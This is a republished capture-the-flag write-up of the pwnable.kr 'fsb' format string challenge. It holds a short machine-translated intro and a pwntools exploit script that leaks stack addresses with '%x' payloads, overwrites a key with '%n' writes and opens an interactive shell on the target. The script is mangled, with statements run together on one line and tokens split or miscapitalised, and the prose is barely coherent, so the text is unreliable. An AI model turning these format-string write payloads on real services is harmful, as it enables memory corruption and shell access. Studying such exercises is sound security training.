"PWN" fsb@pwnable.kr exploit

Source: Internet
Author: User

Using a typical format string vulnerability to implement memory leaks and memory overwrite to modify the key implementation directly through, of course, can also overwrite the contents of the Got table to change the program execution flow, the two shortcomings is that the huge string of overwrite when it does take a long time to output the implementation of coverage, Look at the foreign writeup in the memory of the search for key address, at least in time not so long, but also a different way of thinking.

This problem really learned a lot, such as the use of $n, esp EBP advanced utilization, the FSB has a deeper understanding, by the way to worship the PPP team in CMU, for the future to provide a lot of experience it ~ All in the script ~ refueling!

#Exploit for [email protected]

# @Windcarp 2015.07.24from PWN Import * #initcontext (arch = ' i386 ', os = ' Linux ') local=trueif local:    p = proces S ("./FSB") else:    p = remote ("pwnable.kr", 9011) raw_input () #payload  payload1 = ' Nothing ' #rewrite the Content of EXTR_EBP to the address of keypayload2 = '%134520928c%18$n ' payload3 = '%14$x.%18$x ' #leak the address of EBP to Caculate offsetpayload4 = '%%%d$n ' #overwrite the content of key to Zero#do attackprint ' [*] Info: ' + p.recvuntil (' \ n ') p.s End (Payload1 + ' \ n ') p.recvuntil (' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') p.send (payload2 + ' \ n ') p.recvuntil (' \ n ') P.recvuntil (' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') p.send (payload3 + ' \ n ') leak = P.recvuntil (' \ n ') print ' [*] leak: ' + Repr (leak) p.recvuntil (' \ n ') p.recvuntil (' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') tmp1,tmp2 = Leak.split ('. ') esp_addr = Int (tmp1,16)-0x50extr_ebp_addr = Int (tmp2,16) offset = (extr_ebp_addr-esp_addr)/4#we can calculate key now But we choose to overwritep.send (payload4% offSet + ' \ n ') print ' [*] 1 ' + p.recvuntil (' \ n ') print ' [*] 2 ' + p.recvuntil (' \ n ') print ' [*] 3 ' + p.recvuntil (' \ n ') #wait a s Ecprint ' [*] KeyInfo: ' + p.recvuntil (' \ n ') #key:p. Send (' 0 ' + ' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') #congraz #yeah we G ot the shell!p.interactive ()

"PWN" [email protected] Exploit

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.